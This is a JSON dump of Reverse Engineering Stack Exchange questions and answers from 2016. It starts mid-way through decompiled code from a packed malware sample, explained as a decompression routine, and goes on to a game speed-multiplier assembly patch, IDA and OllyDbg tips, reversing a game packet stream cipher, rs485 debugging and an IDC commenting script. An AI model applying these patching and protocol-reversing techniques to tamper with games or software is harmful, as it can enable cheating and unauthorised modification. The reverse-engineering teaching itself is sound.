0;\n            if ( v21 + lpAddress[3 * v7 + 1] > v16 )\n              return 0;\n            for ( l = 0; l < lpAddress[3 * v7 + 1]; ++l )\n              *(_BYTE *)(a3 + l + v21) = *(_BYTE *)(a3 + l + lpAddress[3 * v7]);\n          }\n          else\n          {\n            *(_BYTE *)(v21 + a3) = v7;\n          }\n          if ( v20 == 3840 )\n          {\n            if ( (unsigned int)++v14 >> 12 )\n              v14 = 256;\n          }\n          if ( v20 >= 0xF00 )\n          {\n            v8 = v14 - 1;\n            if ( v14 == 256 )\n              v8 = 4095;\n          }\n          else\n          {\n            v8 = v20 + v14;\n          }\n          lpAddress[3 * v8] = v21;\n          lpAddress[3 * v8 + 1] = lpAddress[3 * v7 + 1] + 1;\n          lpAddress[3 * v8 + 2] = 0;\n          if ( v20 < 0xF00 )\n            ++v20;\n          v21 = v21 + lpAddress[3 * v8 + 1] - 1;\n          ++v12;\n          if ( v15 < 0xC && 1 << v15 == v12 )\n            ++v15;\n        }\n        if ( v21 >= v16 )\n        {\n          // sub_9001000 is only called onece and always return 0\n          if ( *(_DWORD *)(a1 + 8) == sub_9001000(a3, v16) )\n          {\n            VirtualFree(lpAddress, 0, 0x8000u);\n            result = 0;\n          }\n          else\n          {\n            result = 0;\n          }\n        }\n        else\n        {\n          result = 0;\n        }\n      }\n      else\n      {\n        result = 0;\n      }\n    }\n    else\n    {\n      result = 0;\n    }\n  }\n  else\n  {\n    result = 0;\n  }\n  return result;\n}\n\n\nint __stdcall sub_9001300(int a1)\n{\n  int result; // eax@2\n\n  if ( *(_DWORD *)a1 == 1083581807 )\n    result = *(_DWORD *)(a1 + 4);\n  else\n    result = 0;\n  return result;\n}\n
    \n\n

    File info:\n file format pei-i386

    \n\n
    Sections:\nIdx Name          Size      VMA       LMA       File off  Algn\n  0 .text         00001000  09001000  09001000  00001000  2**2\n                  CONTENTS, ALLOC, LOAD, READONLY, CODE\n  1 .rdata        00001000  09002000  09002000  00002000  2**2\n                  CONTENTS, ALLOC, LOAD, READONLY, DATA\n  2 .rsrc         00005000  09003000  09003000  00003000  2**2\n                  CONTENTS, ALLOC, LOAD, DATA\n  3 .reloc        00001000  09008000  09008000  00008000  2**2\n                  CONTENTS, ALLOC, LOAD, READONLY, DATA\n
    \n", "Title": "How can I determine if a piece of code is an encryption algorithm?", "Tags": "|malware|unpacking|encryption|decryption|encodings|", "Answer": "

    TL;DR: What we have here is probably not an encryption algorithm, it is more likely a decompression loop, by the look of it. It simply does not do anything that could be considered even remotely similar to encryption.

    \n

    Encryption algorithms are divided into two classes. First is a stream cipher. From wikipedia:

    \n
    \n

    A stream cipher is a symmetric key cipher where plaintext digits are combined with a pseudorandom cipher digit stream (keystream). In a stream cipher each plaintext digit is encrypted one at a time with the corresponding digit of the keystream, to give a digit of the ciphertext stream. Since encryption of each digit is dependent on the current state of the cipher, it is also known as state cipher. In practice, a digit is typically a bit and the combining operation an exclusive-or (XOR).

    \n
    \n

    Second is a block cypher. From wikipedia:

    \n
    \n

    In cryptography, a block cipher is a deterministic algorithm operating on fixed-length groups of bits, called blocks, with an unvarying transformation that is specified by a symmetric key. Block ciphers operate as important elementary components in the design of many cryptographic protocols, and are widely used to implement encryption of bulk data.

    \n

    The modern design of block ciphers is based on the concept of an iterated product cipher. In his seminal 1949 publication, Communication Theory of Secrecy Systems, Claude Shannon analyzed product ciphers and suggested them as a means of effectively improving security by combining simple operations such as substitutions and permutations.1 Iterated product ciphers carry out encryption in multiple rounds, each of which uses a different subkey derived from the original key. One widespread implementation of such ciphers, named a Feistel network after Horst Feistel, is notably implemented in the DES cipher.2 Many other realizations of block ciphers, such as the AES, are classified as substitution-permutation networks.

    \n
    \n

    What we have here is probably not an encryption algorithm. It simply does not do anything that could be considered even remotely similar to encryption. Some of the things that are often found in encryption algorithms but are missing here (not a complete list but just the first few things I came up with):

    \n
      \n
    1. There's no pseudo-random stream generated based on an internal state and seed like in stream ciphers
      2. \n
    2. no sequential character combination of generated stream with input buffer using a XOR (or any other operation).
      3. \n
    3. No block structure - a sequence executed multiple times on each nicely chunked portion of the input message.
      4. \n
    4. no long and complex permutation (and no permutation table).
      5. \n
    5. No multiple iterations of a permutation code common to block ciphers.
      6. \n
    6. no key sequence initialization (used in both stream and block ciphers).
      7. \n
    7. Not enough substitutions over either input message or stream/state.
      8. \n
    \n

    Encryption algorithms are usually long (and one might say ugly). Usually structured and meticulous on performing operations on all bytes in long repeated sequences. You'll often see multiple iterations of a fixed length performing a single or few operations.

    \n

    This is more resembling a compression/decompression algorithm, as sequences of bytes are copied on certain conditions, while bytes are constructed into the decompressed buffer on others.

    \n

    Lets go over the code and see:

    \n
    int __stdcall sub_9001320(int a1, unsigned int a2, int a3)\n{\n// a1 = a3 = 0x09003000\n// a2 = 0x7600\n\n  int result; // eax@2\n  char v4; // al@23\n  unsigned int l; // [sp+4h] [bp-4Ch]@33\n  unsigned int k; // [sp+10h] [bp-40h]@19\n  unsigned int v7; // [sp+14h] [bp-3Ch]@19\n  int v8; // [sp+18h] [bp-38h]@40\n  signed int j; // [sp+1Ch] [bp-34h]@13\n  unsigned int v10; // [sp+20h] [bp-30h]@5\n  unsigned int i; // [sp+24h] [bp-2Ch]@5\n  unsigned int v12; // [sp+28h] [bp-28h]@5\n  unsigned int v13; // [sp+2Ch] [bp-24h]@5\n  signed int v14; // [sp+30h] [bp-20h]@13\n  unsigned int v15; // [sp+34h] [bp-1Ch]@5\n  unsigned int v16; // [sp+38h] [bp-18h]@5\n  unsigned __int8 v17; // [sp+3Fh] [bp-11h]@5\n  signed int v18; // [sp+40h] [bp-10h]@5\n  _DWORD *lpAddress; // [sp+44h] [bp-Ch]@11\n  unsigned int v20; // [sp+48h] [bp-8h]@13\n  unsigned int v21; // [sp+4Ch] [bp-4h]@16\n
    \n

    Function definiton

    \n
      if ( a2 > 0xC )\n  {\n
    \n

    Assert a certain length is at least 96 bytes. Although there are some block ciphers accepting this as block size, it's not too common and most widely accepted block ciphers do not support this block size.

    \n
        if ( *(_DWORD *)a1 == 1083581807 )\n    {\n
    \n

    Assert certain first bytes of buffer are fixed, this just looks odd without context.

    \n
          v16 = sub_9001300(a1);\n
    \n

    Set v16 to second dword of input buffer

    \n
          v18 = 12;\n      v17 = 0;\n      v15 = 9;\n      v12 = 256;\n      v13 = 256;\n      v10 = 8 * a2 - 96;\n
    \n

    Some more variable initializations

    \n
          for ( i = 9; v10 >= i; v10 -= i )\n      {\n        if ( i != 12 && v13 == 1 << i )\n          ++i;\n        ++v13;\n      }\n
    \n

    Increase v13 according to original length. Without going too much into specifics here, this doesn't look like any cipher seed/initialization.

    \n
          lpAddress = VirtualAlloc(0, 0xC000u, 0x1000u, 4u);\n      if ( lpAddress )\n      {\n
    \n

    Allocate a hardcoded length buffer to work on as temporary data

    \n
            v20 = 0;\n        v14 = 256;\n        for ( j = 0; j <= 255; ++j )\n        {\n          lpAddress[3 * j] = 0;\n          lpAddress[3 * j + 2] = 0;\n          lpAddress[3 * j + 1] = 1;\n        }\n
    \n

    Initialize said buffer, 2/3 with 0s, 1/3 with 1s. this is probably a boolean buffer.

    \n
            v21 = 0;\n        while ( v21 < v16 && v12 < v13 )\n        {\n
    \n

    Loop v16 times. remember v16 is user supplied as the second dword in provided buffer. The second dword after the magic is probably a length.

    \n
              v7 = 0;\n          for ( k = 0; k < v15; ++k )\n          {\n
    \n

    Another loop, this time for 9 iterations. This means we have 9 iterations for each character in the guessed length parameter. Most block ciphers will have more iterations, and those won't be per character. Most stream ciphers will not process data but instead generate a stream of bytes to XOR with. We don't see a XOR here either.

    \n
                if ( (1 << (7 - (v17 + 8 * v18) % 8)) & *(_BYTE *)(a1 + (v17 + 8 * v18) / 8) )\n              v7 |= 1 << k;\n
    \n

    Bits are only added to v7, also not productive for any type of encryption algorithm.

    \n
                v4 = (v17 + 1) % 8;\n            v17 = (v17 + 1) % 8;\n
    \n

    These two are byte-sized counters.

    \n
                if ( !v4 )\n              ++v18;\n          }\n
    \n

    Increase another counter, used for determining how many bits in v7 will be set. This entire loop decides which bits of v7 will be set, depending on a fixed sequence and wether certain bits of the input buffer are

    \n
              if ( v7 > 0xFF )\n          {\n            if ( v20 < 0xF00 && v7 > v20 + 255 )\n              return 0;\n            if ( v21 + lpAddress[3 * v7 + 1] > v16 )\n              return 0;\n            for ( l = 0; l < lpAddress[3 * v7 + 1]; ++l )\n              *(_BYTE *)(a3 + l + v21) = *(_BYTE *)(a3 + l + lpAddress[3 * v7]);\n          }\n
    \n

    If v7 is above 0xff do some sanity (and return on invalid state/data) and then copy a sequence of bytes until a null terminator is reached from a3 to a3, at offsets determined by the value of lpAddress at a specific offset determined by v7.

    \n
              else\n          {\n            *(_BYTE *)(v21 + a3) = v7;\n          }\n
    \n

    if v7 is below or equal to 255, simply assign it in specified location.

    \n
              if ( v20 == 3840 )\n          {\n            if ( (unsigned int)++v14 >> 12 )\n              v14 = 256;\n          }\n          if ( v20 >= 0xF00 )\n          {\n            v8 = v14 - 1;\n            if ( v14 == 256 )\n              v8 = 4095;\n          }\n          else\n          {\n            v8 = v20 + v14;\n          }\n
    \n

    Reset values of v8 and v4 based on values of offset variables, namely v20 and themselves.

    \n
              lpAddress[3 * v8] = v21;\n          lpAddress[3 * v8 + 1] = lpAddress[3 * v7 + 1] + 1;\n          lpAddress[3 * v8 + 2] = 0;\n
    \n

    Set a few other values in lpAddress based hardcoded values (0) and a copy of a single value.

    \n
              if ( v20 < 0xF00 )\n            ++v20;\n          v21 = v21 + lpAddress[3 * v8 + 1] - 1;\n          ++v12;\n          if ( v15 < 0xC && 1 << v15 == v12 )\n            ++v15;\n        }\n
    \n

    Some more counter update based on input and reset of overflows.

    \n
            if ( v21 >= v16 )\n        {\n          // sub_9001000 is only called onece and always return 0\n          if ( *(_DWORD *)(a1 + 8) == sub_9001000(a3, v16) )\n          {\n            VirtualFree(lpAddress, 0, 0x8000u);\n            result = 0;\n          }\n          else\n          {\n            result = 0;\n          }\n        }\n        else\n        {\n          result = 0;\n        }\n      }\n      else\n      {\n        result = 0;\n      }\n    }\n    else\n    {\n      result = 0;\n    }\n  }\n  else\n  {\n    result = 0;\n  }\n  return result;\n}\n
    \n

    In case of any invalid input, return 0

    \n
    int __stdcall sub_9001300(int a1)\n{\n  int result; // eax@2\n\n  if ( *(_DWORD *)a1 == 1083581807 )\n    result = *(_DWORD *)(a1 + 4);\n  else\n    result = 0;\n  return result;\n}\n
    \n

    Assert buffer starts with a hardcoded dword (which we already know is the case because of a previous if statement) and return the value in the second dword.

    \n" }, { "Id": "13477", "CreationDate": "2016-09-09T20:45:07.973", "Body": "

    I have the following line of code in a game:

    \n\n

    movss xmm0,[eax+000000F0]

    \n\n

    It basically loads the float speed of the current speed category into the XMM0 register. I already made a jump to an empty code section to get some more space, because I now want to multiply this speed by a hardcoded value of 2 after it was loaded. Sadly, easy-thinking like this doesn't work:

    \n\n
    movss xmm0,[eax+000000F0]\nmulss xmm0,2\n
    \n\n

    I can't simply multiply an XMM register with an integer or float immediate. I read that I can only multiply with another XMM register. But then again I can't push and pop an existing XMM register to the stack to abuse it for that operation temporarily.

    \n\n

    How would I create such a simple multiplication operation?

    \n", "Title": "How to multiply an SSE float with a hardcoded value using MULSS?", "Tags": "|assembly|float|", "Answer": "

    Although you indeed cannot use mulss with an immediate value like you've pointed out, you are allowed to pass an 32bit offset as mulss's second operand:

    \n\n
    \n

    Multiplies the low single-precision floating-point value from the source operand (second operand) by the low single-precision floating-point value in the destination operand (first operand), and stores the single-precision floating-point result in the destination operand. The source operand can be an XMM register or a 32-bit memory location. The destination operand is an XMM register. The three high-order double-words of the destination operand remain unchanged.

    \n
    \n\n

    You could then just point to any offset you control, if code is not relocated. If it is, you could simply use 'lea' if in 64bit mode or do the call $+5 / pop trick in x86.

    \n\n

    I'll assume x86 because it makes it a bit more complicated. The patch should look something like the following (this wasn't tested):

    \n\n
        push edx\n    call next\nnext:\n    pop edx\n    movss xmm0,[eax+000000F0]\n    mulss xmm0,[edx+float-next]\n    pop edx\n    <return to previous location>\n\nfloat:\n    <float as 32bit data>\n
    \n\n

    There might be better solutions, but nothing pops at me.

    \n" }, { "Id": "13480", "CreationDate": "2016-09-09T23:30:45.780", "Body": "

    context about action_handler_t

    \n\n

    IDA provides multiple features and APIs to extend and enhance it's usability, one of those features is the creation of user defined action_handler_t objects by inheriting idaapi.action_handler_t in IDAPython.

    \n\n

    The feature involves several APIs, but one of the requirements is having a class that inherits said idaapi.action_handler_t class and implements two methods. One of those methods is update(self, ctx) (the other being activate(self, ctx)).

    \n\n

    During an IDA application's lifetime, the update method will be called multiple times on certain events (startup, a new IDB being loaded, focus shifts to another form, etc). Updates then communicates back wether the action should be enabled or disabled and when to query again by issuing another call to update.

    \n\n

    One of those events is an action's activation call returns. The motivation is that actions performed as a result of an action being activated might potentially change the state of that same action or other actions.

    \n\n

    actual question

    \n\n

    While using IDA and certain Qt signals/slots abilities, I've created an activation method that returns immediately and schedules most of its login to other slots, and I'm now losing the \"post-activation\" update call that makes actions respond to overall state changes and change their own state (from disabled to enabled and vise versa).

    \n\n

    My question is, how can I force an update call by IDA's kernel to all existing actions so that when my delayed code finishes it could manually tell IDA it should call update for all actions to query for their new state?

    \n", "Title": "How can I force-update IDA's action_handler_t object's state?", "Tags": "|ida|idapython|idapro-sdk|", "Answer": "

    The update methods of actions are usually called when the relevant GUI components (usually various IDA views) are refreshed. To make things speedier, IDA avoids refreshing views until such a refresh is required.

    \n\n

    When scripting IDA, we often make changes without touching the GUI, so IDA has no way of telling when a change is done and it should refresh. To solve this, we can use the idaapi.request_refresh(mask) function:

    \n\n
    idaapi.request_refresh(0xFFFFFFFF)  # IWID_ALL\n
    \n\n

    To refresh a specific view, use a mask made of the following constants (documented here):

    \n\n
    #define IWID_EXPORTS  (1u << BWN_EXPORTS) ///< exports           (0)\n#define IWID_IMPORTS  (1u << BWN_IMPORTS) ///< imports           (1)\n#define IWID_NAMES    (1u << BWN_NAMES  ) ///< names             (2)\n#define IWID_FUNCS    (1u << BWN_FUNCS  ) ///< functions         (3)\n#define IWID_STRINGS  (1u << BWN_STRINGS) ///< strings           (4)\n#define IWID_SEGS     (1u << BWN_SEGS   ) ///< segments          (5)\n#define IWID_SEGREGS  (1u << BWN_SEGREGS) ///< segment registers (6)\n#define IWID_SELS     (1u << BWN_SELS   ) ///< selectors         (7)\n#define IWID_SIGNS    (1u << BWN_SIGNS  ) ///< signatures        (8)\n#define IWID_TILS     (1u << BWN_TILS   ) ///< type libraries    (9)\n#define IWID_LOCTYPS  (1u << BWN_LOCTYPS) ///< local types       (10)\n#define IWID_CALLS    (1u << BWN_CALLS  ) ///< function calls    (11)\n#define IWID_PROBS    (1u << BWN_PROBS  ) ///< problems          (12)\n#define IWID_BPTS     (1u << BWN_BPTS   ) ///< breakpoints       (13)\n#define IWID_THREADS  (1u << BWN_THREADS) ///< threads           (14)\n#define IWID_MODULES  (1u << BWN_MODULES) ///< modules           (15)\n#define IWID_TRACE    (1u << BWN_TRACE  ) ///< trace view        (16)\n#define IWID_STACK    (1u << BWN_STACK  ) ///< call stack        (17)\n#define IWID_XREFS    (1u << BWN_XREFS  ) ///< xrefs             (18)\n#define IWID_SEARCHS  (1u << BWN_SEARCH ) ///< search results    (19)\n#define IWID_FRAME    (1u << BWN_FRAME  ) ///< function frame    (25)\n#define IWID_NAVBAND  (1u << BWN_NAVBAND) ///< navigation band   (26)\n#define IWID_ENUMS    (1u << BWN_ENUMS  ) ///< enumerations      (27)\n#define IWID_STRUCTS  (1u << BWN_STRUCTS) ///< structures        (28)\n#define IWID_DISASMS  (1u << BWN_DISASM ) ///< disassembly views (29)\n#define IWID_DUMPS    (1u << BWN_DUMP   ) ///< hex dumps         (30)\n#define IWID_NOTEPAD  (1u << BWN_NOTEPAD) ///< notepad           (31)\n#define IWID_IDAMEMOS (IWID_DISASMS|IWID_DUMPS)\n
    \n" }, { "Id": "13483", "CreationDate": "2016-09-10T15:35:36.460", "Body": "

    I would like to ask if you have any idea or approach to reverse engineer a decryption algorithm to find the opposite encryption function.\nI do have all required keys and fields and of course the decryption source code, which I reverse engineered already.

    \n\n

    I have analyzed the code and kinda know how it works but can`t figure out how to reverse (in the sense of undoing the encryption of) it.

    \n\n

    The following information is available to me:

    \n\n
    // I have all these fields (filled correctly)\n\n    public byte[] Keychain;\n    public uint Step, Mul, HeaderXor, Key;\n
    \n\n

    The decryption function looks like this:

    \n\n
    public void Decrypt(byte[] packet) {\n        fixed (byte* pp = packet, pk = Keychain) {\n            uint size = (uint)GetPacketSize(packet);\n            uint header = (first) ? /* Checks if it is a partial packet (It isnt!)*/\n                0x000eb7e2 :\n                *((uint*)&pp[0]) ^ HeaderXor; \n                // HeaderXor is an unsigned int\n                // It also changes after each decryption and if the key changes\n\n            if (first) \n                first = false;\n\n            uint token = *((uint*)&pp[0]);\n            *((uint*)&pp[0]) = header;\n            token &= 0x3FFF;    // Get only last 14 bits\n            token *= Mul * 4;   \n            // Mul is an unsigned int and changes sometimes\n            token = *((uint*)&pk[token]);\n\n            uint i, r, t;\n            size -= r = (size - 8) & 3; // Make size dividable by 4\n\n            for (i = 8; i < size; i += 4) {\n                t = *((uint*)&pp[i]);\n                token ^= t;\n                *((uint*)&pp[i]) = token;\n\n                t &= 0x3FFF;\n                token = *((uint*)&pk[t * Mul * 4]);\n            }\n\n            t = 0xFFFFFFFF >> 8 * (4 - (int)r);\n            token &= t;\n            *((uint*)&pp[i]) ^= token; // If something is left over ( if size - 8 == 5 then size & 3 has rest of 1)\n            * ((uint*)&pp[4]) = 0;\n\n            Step++;\n            Step &= 0x3FFF;\n            HeaderXor = *((uint*)&pk[Step * Mul * 4]);\n        }\n    }\n
    \n\n

    Example results:

    \n\n
    // Encrypted data\n// 5b 54 34 23\n// cc c2 5a a3\n// 81 7e d6 27\n// 36 c4 8f 36\n// b9 3b 6f ce\n// f4 8e 72 5b\n// \n// Decrypted data\n// e2 b7 18 00\n// 00 00 00 00\n// be 00 56 00\n// 2f 00 58 00\n// 30 00 59 00\n// 31 00 01 00\n
    \n\n

    So, do you have any approach ?\nMaybe this source code can offer some more informations, but its Server-To-Client:

    \n\n

    https://bitbucket.org/dignityteam/minerva/src/e149a219b6783070de71820ea359f1b27cebda63/src/ObjectBuddy/Cryption.cs?at=develop&fileviewer=file-view-default

    \n\n

    I think, the Server-To-Client encryption is not the right thing. The decryption code I posted above does returns right results but is not the same as you can see at the linked page.

    \n", "Title": "Having keys and binary, how do I reverse/decrypt a stream encryption?", "Tags": "|encryption|decryption|cryptography|c#|cryptanalysis|", "Answer": "

    Good news, You're lucky!

    \n\n

    What you're facing in front of you is a stream cipher. Why is that good? because the way stream ciphers are built makes them extremely easy to reverse - the decryption and encryption functions of stream ciphers are actually the same function.

    \n\n
    \n

    A stream cipher is a symmetric key cipher where plaintext digits are combined with a pseudorandom cipher digit stream (keystream). In a stream cipher each plaintext digit is encrypted one at a time with the corresponding digit of the keystream, to give a digit of the ciphertext stream. Since encryption of each digit is dependent on the current state of the cipher, it is also known as state cipher. In practice, a digit is typically a bit and the combining operation an exclusive-or (XOR).

    \n
    \n\n

    Stream ciphers are basically generating a sequence (or a stream) of bytes, and those bytes are mixed with the message in a byte-per-byte fashion, nearly always using a XOR operation. That's also the case with your function, see the line token ^= t;. Since two XOR operations with the same value cancel each other, XORing a byte of the encrypted message with the same stream again on the receiving end will actually decrypt it.

    \n\n

    If you have the keys and all input needed to generate the stream in the first place, simply applying the same function again will provide you with the original message.

    \n" }, { "Id": "13484", "CreationDate": "2016-09-10T19:26:23.320", "Body": "


    \nI'm trying to recycle an Anti-theft system keypad.
    \nMy goal is use this keypad as my system peripheral.
    \nThis keypad is interfaced with its master device phisically using bus rs485.
    \nThe first step in order to exploit this keyboard, is understand the communication between this two devices, the master and its keypad.
    \nMy first idea have been tap the bus and sniff the traffic.
    \nDoing this, I collected few dumps of estabilished dialogs between those two devices, but because the tap, I can't have any idea of the direction the bytes I logged.
    \nSo my second step have been play the man-in-the-middle game.

    \nI setup a device to put between the master and its keypad cutting the bus and using two transceiver, one facing the master an another facing the keypad.
    \nThen I wrote a simple program to forward everything from an interface to another.
    \nIn this scenario however, it seems keypad does not react to the messages sent by its master, received by my device ad forwarded to it.
    \nHaving the feeling something in the transmission could be wrong, the rs485 chip on my usb dongle and the one on the keypad are different (sipex sp485ec keypad - st 485ecdr usb dongle), I tried to tap directly a logic analyzer to the serial pin on the microcontroller. Doing this I verified that sending bytes through my usbdongle I could receive them on the pins on the MCU.


    \nCan someone give me any direction to step forward my project?

    \n", "Title": "Anti-theft system rs485 keypad", "Tags": "|serial-communication|", "Answer": "

    As often happen, solution is easiest than you might have thought.
    \nBut before proceed telling you which was the problem, I want to ask a simple question to you all:
    Did you know that, if in serial communication the stop bit setting is wrong, you can receive and decode successfully the stream?
    \nFrankly I didn't know, and that's the main cause I waste all this time on a simple problem such as this.
    \nWell you should also understand that in my experience, I never ever had the need to change the stop bit setting.
    \nNever ever... until now.

    \nAs you might have guessed, the problem laid in the fact that \"stop bit\" setting was wrong.
    \nInstead of the classic 9600,8,n,1 this setup needed 9600,8,n,2.
    \nGuess what, I needed a very long time to figure it out.
    \nI ended up probing serial data, directly on the MCU serial pins tx and rx pins, that because I feared the rs485 driver could have something wrong.
    \nAt last, comparing a sniffed waveform from original MASTER and the waveform I produced I finally saw the difference.\n\"waveforms\nNow I can successfully transmit bytes to the devices on this bus and proceed with my original goal of reverse engineer the protocol to use this hardware on my custom Anti-theft system.

    \n" }, { "Id": "13495", "CreationDate": "2016-09-12T10:22:34.590", "Body": "

    I am relatively new to the world of RE.\nSo, I am playing with a program, which relies on multiple dlls.\nI am using 32 bit OllyDbg 2.01, and can\u2019t put permanent breakpoints in one dll, others are fine, just this one is making problems.\nOlly accepts breakpoints in session, but forgets their locations after the program gets restarted (meaning all BPs get deleted in this one dll).\nAnalysis of this dll outputs in olly message \u201cQuick statistical test of module reports that its code section is either compressed, encrypted, or contains large amount of embedded data. Results of code analysis can be very unrealiable or simply wrong. Do you want to continue analysis?\u201d.\nI have tried using PEiD and nothing was found.\nI can open dll with a simple hex editor and find all op code hex data, so I think the dll is not encrypted or packed, and it has to do with Olly dbg.\nCan anyone give any suggestion?

    \n", "Title": "OllyDbg can't set permanent breakpoint", "Tags": "|ollydbg|dll|breakpoint|", "Answer": "

    Is this library dynamically loaded? (At runtime, e.g. using API like LoadLibaray, LdrLoadDll)

    \n\n

    Then you may need to set your breakpoints dynamically as well. For example, using Olly's scripting capabilities. If the library is always loaded at the same offset, memory breakpoints could also prove useful.

    \n" }, { "Id": "13509", "CreationDate": "2016-09-15T05:52:21.830", "Body": "

    I looked up the source code of the functions like CreateProcess and CreateThreade from kernel32. For example, CreateThread@kernel32 leads into kernelbase.dll and ends with a call to NtCreateThreadEx.

    \n\n

    I cannot see any calls to CsrClientCallServer in that function, There are only few checks and a call to RtlActivateActivationContextEx. I wonder if those calls are necessary for a process to function

    \n\n

    I looked up in the ntdll there is no function with the name CsrClientCallServer. However there are functions like NtConnectPort and so on, to use the LPC mechanism.

    \n\n

    I assume CsrClientCallServer was built on top of the functions like NtConnectPort, NtReplyPort with some specific parameters.\nMy question is: is it necessary to notify csrss about the created thread from user mode?

    \n\n

    It is unclear to me from wininternals and other books should this be done or not, for the thread of the existing process. I tried to create the thread using old NtCreateThread on win10 and it works fine, without any notifications via LPC But will the same code work on xp for example?

    \n", "Title": "Changes on threads and threading system, in new Windows OS", "Tags": "|ida|winapi|thread|process|", "Answer": "

    No. It is not necessary to create a connection with the CSRSS service in order for a process to function. The CSRSS server provides a few functionalities that are not needed for most processes, and therefore can be ignored unless it is requried in that specific process for any reason.

    \n\n

    Since NT4, the main functionalities of CSRSS remained mostly the Windows Console GUI and other GUI related services Windows provides to GUI applications. If your process does not require those services it can silently ignore the existance of CSRSS.

    \n\n

    Although I'm aware of it independently, this is also stated in wikipedia:

    \n\n
    \n

    Client/Server Runtime Subsystem, or csrss.exe, is a component of the Windows NT family of operating systems that provides the user mode side of the Win32 subsystem and is included in Windows NT 4 and later. Because most of the Win32 subsystem operations have been moved to kernel mode drivers in Windows NT 4 and later, CSRSS is mainly responsible for Win32 console handling and GUI shutdown.

    \n
    \n\n

    Additonally, there's a decent (see page 38) amount of documentation about CSRSS online.

    \n" }, { "Id": "13513", "CreationDate": "2016-09-16T08:40:05.770", "Body": "

    I'm not asking for a decompiler, as I'm aware that it does not produce accurate results all the time. I've tried Googling but all I found were decompilers.

    \n\n

    Problem

    \n\n

    I found it extremely inefficient to be continuously referring to the instruction set manual to find out what various uncommon instructions do. Furthermore I deal only infrequently with assembly and I found I have to continuously make a conscious effort to interpret the mnemonic syntax, which slows things down tremendously.

    \n\n

    Requirement

    \n\n

    A per-line translation of the assembly instructions. As a very simple example, replacing add eax, ebx with eax += ebx in the disassembly view, or just commenting the instruction with the pseudocode. Be it replacement or commenting, having the pseudocode inline would help to preserve the graph view and other convenient functionalities provided by IDA.

    \n", "Title": "Are there IDA scripts/plugins to translate/comment instructions to/with pseudocode?", "Tags": "|ida|disassembly|decompiler|", "Answer": "

    Here's an incomplete script to do this, for x86:

    \n\n
    #include <idc.idc>\n/*\n    Project name: Pseudo instruction adder 1.0\n\n    Author: fastman92\n*/\n\n#define true 1\n#define false 0\n\n\n#define ARCHITECTURE_TYPE_X86 1\n#define ARCHITECTURE_TYPE_X64 2\n\nextern architectureType;\nextern pointerSize;\n\nstatic MakeInstructionComment_x86(ea)\n{\n    auto mnem = GetMnem(ea);\n\n    auto op0 = GetOpnd(ea, 0);\n    auto op1 = GetOpnd(ea, 1);\n\n    auto comment = \"\";\n\n    if(mnem == \"push\")\n        comment = sprintf(\"ESP -= 4; *(int32_t*)ESP = %s;\", op0);\n    else if(mnem == \"mov\")\n        comment = sprintf(\"%s = %s;\", op0, op1);\n    else if(mnem == \"lea\")\n        comment = sprintf(\"%s = address(%s);\", op0, op1);\n    else if(mnem == \"jmp\")\n        comment = sprintf(\"goto %s;\", op0);\n    else if(mnem == \"pop\")\n        comment = sprintf(\"%s = *(int32_t*)ESP; ESP += 4;\", op0);\n    else if(mnem == \"leave\")\n        comment = \"EBP = *(int32_t*)ESP; ESP += 4;\";\n    else if(mnem == \"retn\")\n        comment = \"return;\";\n    else if(mnem == \"sub\")\n        comment = sprintf(\"%s -= %s;\", op0, op1);\n    else if(mnem == \"shr\")\n        comment = sprintf(\"%s = %s >> %s;\", op0, op0, op1);\n    else if(mnem == \"shl\")\n        comment = sprintf(\"%s = %s << %s;\", op0, op0, op1); \n    else if(mnem == \"and\")\n        comment = sprintf(\"%s &= %s;\", op0, op1);\n    else if(mnem == \"or\")\n        comment = sprintf(\"%s |= %s;\", op0, op1);\n    else if(mnem == \"xor\")\n        comment = sprintf(\"%s ^= %s;\", op0, op1);\n    else if(mnem == \"not\")\n        comment = sprintf(\"%s = ~%s;\", op0, op0);\n    else if(mnem == \"cmp\")\n        comment = sprintf(\"EFL = cmp(%s, %s);\", op0, op1);\n    else if(mnem == \"test\")\n        comment = sprintf(\"EFL = test(%s, %s);\", op0, op1);\n\n    else if(mnem == \"jnb\")\n        comment = \"goto, if A >= B;\";\n    else if(mnem == \"jz\")\n        comment = \"goto, if A == B;\";\n    else if(mnem == \"jnz\")\n        comment = \"goto, if A != B;\";\n    else if(mnem == \"jb\")\n        comment = \"goto, if A < B;\";\n    else if(mnem == \"jbe\")\n        comment = \"goto, if A <= B;\";\n    else if(mnem == \"jl\")\n        comment = \"goto, if A < B;\";\n    else if(mnem == \"ja\")\n        comment = \"goto, if A > B;\";\n    else if(mnem == \"js\")\n        comment = \"goto, if A < 0;\";\n\n\n    else if(mnem == \"pusha\")\n        comment = \"saveAllGeneralRegisterValues()\";\n    else if(mnem == \"popa\")\n        comment = \"restoreAllGeneralRegisterValues()\";\n\n    else if(mnem == \"stc\")\n        comment = \"setCarryFlag();\";\n    else if(mnem == \"clc\")\n        comment = \"clearCarryFlag();\";\n    else if(mnem == \"cmps\")\n        comment = \"memcmp;\";\n    else if(mnem == \"movs\")\n        comment = \"memset;\";\n\n    else if(mnem == \"nop\")\n        comment = \";\";\n\n    else if(mnem == \"call\")\n        comment = sprintf(\"call %s\", op0);  \n    else if(mnem == \"inc\")\n        comment = sprintf(\"%s++;\", op0);\n    else if(mnem == \"dec\")\n        comment = sprintf(\"%s--;\", op0);\n    else if(mnem == \"add\")\n        comment = sprintf(\"%s += %s;\", op0, op1);\n    else\n    {\n        // Message(\"unknown: 0x%X mnem: %s\\n\", ea, mnem);\n        return true;\n    }\n\n    MakeComm(ea, comment);\n\n    // Message(\"0x%X: %s\\n\", ea, comment);\n    return true;\n}\n\nstatic MakeInstructionComment(ea)\n{\n    if(architectureType == ARCHITECTURE_TYPE_X86)\n        return MakeInstructionComment_x86(ea);      \n}\n\nstatic main()\n{\n    architectureType = ARCHITECTURE_TYPE_X86;\n\n    if(architectureType == ARCHITECTURE_TYPE_X86)\n    {\n        pointerSize = 4;\n    }\n\n\n    Message(\"Start of pseudo instruction adder by fastman92\\n\");\n\n    auto seg, loc;\n\n    Message(\"========================================\\n\");\n\n    seg = FirstSeg();   // Get address pointed by a first segment\n\n    auto shouldBreak = false;\n\n    while(seg != BADADDR )\n    {   \n        Message(\"----------------------------------------\\n\");\n\n        loc = SegStart(seg);        \n\n        Message(\"Adding pseudo code comments in segment %s\\n\", SegName(seg));\n\n\n        while(loc != BADADDR && loc < SegEnd(seg))\n        {                           \n            if(isCode(GetFlags(loc)))\n            {\n                shouldBreak = !MakeInstructionComment(loc);\n\n                if(shouldBreak)\n                    break;\n            }\n\n            loc = NextHead(loc, BADADDR);           